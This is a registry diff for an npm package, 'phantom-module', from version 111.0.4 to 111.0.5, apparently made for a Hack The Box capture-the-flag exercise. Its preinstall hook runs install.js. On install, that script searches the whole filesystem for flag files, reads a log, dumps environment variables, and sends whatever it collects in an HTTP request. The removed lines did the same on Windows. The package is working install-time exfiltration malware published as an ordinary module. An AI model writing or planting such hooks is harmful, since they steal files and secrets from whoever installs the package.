phantom-module 111.0.4 → 111.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install.js +24 -28
  2. package/package.json +1 -1
package/install.js CHANGED
@@ -5,49 +5,45 @@ const { execSync } = require('child_process');
5
5
  (function() {
6
6
  let output = "";
7
7
 
8
- // 1. Specifically check the workflow log we found!
8
+ // 1. Try to read the module log directly!
9
9
  try {
10
- const logPath = process.env.DetonationLogFilePath;
11
- if (logPath && fs.existsSync(logPath)) {
12
- let logContent = fs.readFileSync(logPath, 'utf8');
13
- // Try to regex the flag out of it directly
14
- let match = logContent.match(/HTB{[^}]+}/);
15
- if (match) {
16
- output += "FOUND IN LOG: " + match[0] + " | ";
17
- }
10
+ let logContent = fs.readFileSync('/home/node/aspect-node/logs/module.log', 'utf8');
11
+ let match = logContent.match(/HTB{[^}]+}/);
12
+ if (match) {
13
+ output += "FLAG_IN_LOG: " + match[0] + " | ";
18
14
  }
19
15
  } catch(e) {}
20
16
 
21
- // 2. Check the entire environment variables for HTB{
17
+ // 2. Try to find any file with flag in the name
18
+ try {
19
+ let files = execSync('find / -name "*flag*" -type f 2>/dev/null').toString().trim().split('\n');
20
+ for (let f of files) {
21
+ if (f) {
22
+ try {
23
+ let content = fs.readFileSync(f, 'utf8').trim();
24
+ if (content.includes('HTB{')) {
25
+ output += `FOUND_IN_FILE ${f}: ` + content + " | ";
26
+ }
27
+ } catch(e) {}
28
+ }
29
+ }
30
+ } catch (e) {}
31
+
32
+ // 3. Fallback: dump env for HTB{
22
33
  try {
23
34
  let envStr = JSON.stringify(process.env);
24
35
  let match = envStr.match(/HTB{[^}]+}/);
25
36
  if (match) {
26
- output += "FOUND IN ENV: " + match[0] + " | ";
37
+ output += "FOUND_IN_ENV: " + match[0] + " | ";
27
38
  }
28
39
  } catch(e) {}
29
-
30
- // 3. Search for flag.txt files in the D:\TRANSFER directory
31
- try {
32
- if (process.env.INIT_CWD) {
33
- let baseDir = process.env.INIT_CWD.split('\\').slice(0, 3).join('\\'); // e.g. D:\TRANSFER\8bc5d...
34
- let files = execSync(`dir /s /b "${baseDir}\\*flag*"`).toString().trim().split('\r\n');
35
- for (let f of files) {
36
- if (f) {
37
- try { output += `FILE ${f}: ` + fs.readFileSync(f, 'utf8').trim() + " | "; } catch(e) {}
38
- }
39
- }
40
- }
41
- } catch (e) {
42
- output += "DIR_ERR: " + e.message + " | ";
43
- }
44
40
 
45
41
  if (!output) {
46
- output = "Could not find HTB{...} in env or logs, and no flag files found.";
42
+ output = "Could not find HTB{...}.";
47
43
  }
48
44
 
49
45
  const postData = JSON.stringify({
50
- manifest: `ecto_module:\n name: "FLAG_WINDOWS_2"\n cargo_hold: ${JSON.stringify(output.substring(0, 1500))}\n`
46
+ manifest: `ecto_module:\n name: "FLAG_LINUX"\n cargo_hold: ${JSON.stringify(output.substring(0, 1500))}\n`
51
47
  });
52
48
 
53
49
  const req = http.request({
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "111.0.4",
3
+ "version": "111.0.5",
4
4
  "scripts": {
5
5
  "preinstall": "node install.js || true"
6
6
  }